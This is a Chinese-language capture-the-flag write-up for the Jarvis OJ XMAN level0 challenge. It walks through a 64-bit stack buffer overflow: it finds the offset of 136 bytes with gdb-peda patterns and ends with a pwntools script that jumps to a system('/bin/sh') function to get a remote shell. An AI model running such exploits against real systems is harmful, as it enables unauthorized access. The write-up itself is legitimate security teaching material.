在 Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level0.
题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。
首先使用 file
命令查看文件
file level0.b9ded3801d6dd36a97468e128b81a65d
level0.b9ded3801d6dd36a97468e128b81a65d: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped
程序是64位 ELF 文件
使用 checksec
查看文件保护机制 (gdb peda插件)
gdb level0.b9ded3801d6dd36a97468e128b81a65d
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
程序只启用了 NX (栈不可执行)
用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
同时发现一个 callsystem 函数
int callsystem()
{
return system("/bin/sh");
}
因此只要构造 payload 覆盖返回地址,将程序转到 callsystem
函数处执行,即可得到 shell。
接下来确定溢出点的位置,使用 pattern 来计算
首先生成一串字符串
gdb-peda$ pattern create 150
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
调试运行程序
gdb-peda$ run
Starting program: /home/xxx/pwn/XMAN/level0/level0.b9ded3801d6dd36a97468e128b81a65d
Hello, World
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x00000000004005c5 in vulnerable_function ()
程序崩溃,出错位置为 0x00000000004005c5,继续使用 pattern 计算溢出点
gdb-peda$ pattern offset 0x00000000004005c5
4195781 not found in pattern buffer
pattern 报错,这是因为 linux x64 内存地址的范围为64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。虽然程序不能跳转到那个地址,我们依然可以计算出溢出点。因为 ret
指令相当于 pop rip
,只要查看栈顶的数值就知道程序要跳转的地址。
gdb-peda$ x/xg $rsp
0x7fffffffdc78: 0x41416d4141514141
gdb-peda$ pattern offset 0x41416d4141514141
4702159612987654465 found at offset: 136
成功计算出溢出点偏移为136字节,因此设置 payload 为 ‘A’*136+ret 即可
此外,可以直接阅读反汇编代码,计算溢出点
.text:00000000004005A6 push rbp
.text:00000000004005A7 mov rbp, rsp
.text:00000000004005AA add rsp, -80h
.text:00000000004005AE lea rax, [rbp-80h]
.text:00000000004005B2 mov edx, 200h ; nbytes
.text:00000000004005B7 mov rsi, rax ; buf
.text:00000000004005BA mov edi, 0 ; fd
.text:00000000004005BF call _read
.text:00000000004005C4 leave
.text:00000000004005C5 retn
从 vulnerable_function 代码中可以看出,在栈帧中缓冲区在 rbp-80h
处,因此 rbp
相对缓冲区的偏移为 0x80
,返回地址的偏移为 0x80+0x8=0x88(136)
。
使用 pwntools 编写 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from pwn import *
def main(local=False):
if local:
context.log_level = 'debug'
io = process('./level0.b9ded3801d6dd36a97468e128b81a65d')
else:
context.log_level = 'info'
io = remote('pwn2.jarvisoj.com', 9881)
elf = ELF('./level0.b9ded3801d6dd36a97468e128b81a65d')
ret = elf.symbols['callsystem']
payload = 'A' * 136
payload += p64(ret)
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
main(True)
else:
main()